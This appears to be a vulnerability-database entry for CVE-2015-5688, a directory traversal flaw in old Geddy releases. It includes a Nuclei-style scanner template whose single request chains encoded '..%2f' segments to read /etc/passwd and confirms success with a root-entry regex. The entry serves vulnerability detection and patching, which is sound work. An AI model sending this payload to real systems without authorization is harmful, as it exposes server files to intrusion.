CVE-2015-5688: Geddy <13.0.8 - Local File Inclusion

日期: 2025-08-01 | 影响软件: Geddy | POC: 已公开

漏洞描述

Geddy prior to version 13.0.8 contains a directory traversal vulnerability in lib/app/index.js that allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.

PoC代码[已公开]

id: CVE-2015-5688

info:
  name: Geddy <13.0.8 - Local File Inclusion
  author: pikpikcu
  severity: medium
  description: Geddy prior to version 13.0.8 contains a directory traversal vulnerability in lib/app/index.js  that allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.
  impact: |
    The vulnerability can be exploited to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.
  remediation: |
    Upgrade Geddy to version 13.0.8 or later to mitigate the vulnerability.
  reference:
    - https://nodesecurity.io/advisories/geddy-directory-traversal
    - https://github.com/geddy/geddy/issues/697
    - https://github.com/geddy/geddy/commit/2de63b68b3aa6c08848f261ace550a37959ef231
    - https://nvd.nist.gov/vuln/detail/CVE-2015-5688
    - https://github.com/geddy/geddy/pull/699
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-5688
    cwe-id: CWE-22
    epss-score: 0.70183
    epss-percentile: 0.98635
    cpe: cpe:2.3:a:geddyjs:geddy:13.0.7:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: geddyjs
    product: geddy
    framework: node.js
  tags: cve2015,cve,geddy,lfi,geddyjs,node.js

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201cc9138c088043f32021f49232cdb9d5f8e61610b32a080544b8a99d1e4e5852022100ea3ca24b6779ed609020481118e3268e2f5986d74b3217bf967f3bc453ca91e7:922c64590222798bb761d5b6d8e72950